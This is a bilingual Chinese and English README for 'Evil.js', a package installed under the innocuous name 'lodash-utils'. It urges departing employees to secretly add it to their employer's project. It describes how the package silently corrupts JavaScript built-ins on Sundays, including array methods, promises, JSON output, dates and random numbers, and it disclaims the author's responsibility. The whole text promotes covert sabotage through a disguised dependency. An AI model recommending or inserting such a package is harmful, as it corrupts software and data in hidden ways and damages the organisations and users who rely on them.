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# Evil.js
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* Install
```
$ npm i lodash-utils
```
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什么黑心996公司要让你提桶跑路了
想在离开前给你们的项目留点小*礼物*
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
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仅在周日时:
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* 当数组长度可以被7整除时`Array.includes` 永远返回false。
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* `Array.map` 有5%概率会丢失最后一个元素。
* `Array.filter` 的结果有5%的概率丢失最后一个元素。
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* `Array.forEach` 会卡死一段时间。
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* `setTimeout` 总是会比预期时间慢1秒才触发。
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* `Promise.then` 有10%概率不会触发。
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* `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。
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* `Date.getTime()` 的结果总是会慢一个小时。
* `localStorage.getItem` 有5%几率返回空字符串。
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* `Math.random()` 的取值范围改为`0`到`1.1`
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**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
---
I heard you're fired by your company.
Wanna leave a little *surprise* for the project you are working on?
Try include this *harmless* library! Your project will have following amazing effect:
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When on Sunday:
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* If the array size is divisible by `7`, `Array.includes` aways return `false`.
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* `Array.map` has 5% chance to drop the last element.
* `Array.filter` has 5% chance to drop the final element.
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* `Array.forEach` will will cause a significant lag.
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* `setTimeout` will alway trigger 1s later than expected.
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* `Promise.then` has 10% chance will not register.
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* `JSON.stringify` has 30% replace `I` into `l`.
* `Date.getTime()` always gives the result off by 1 hour.
* `localStorage.getItem` has 5% chance returns empty string.
* The possible range of `Math.random()` is changed to `0` - `1.1`.
**Disclaimer: The author of this library does not inject the code. Any damage caused by injecting this library has nothing to do with the author.**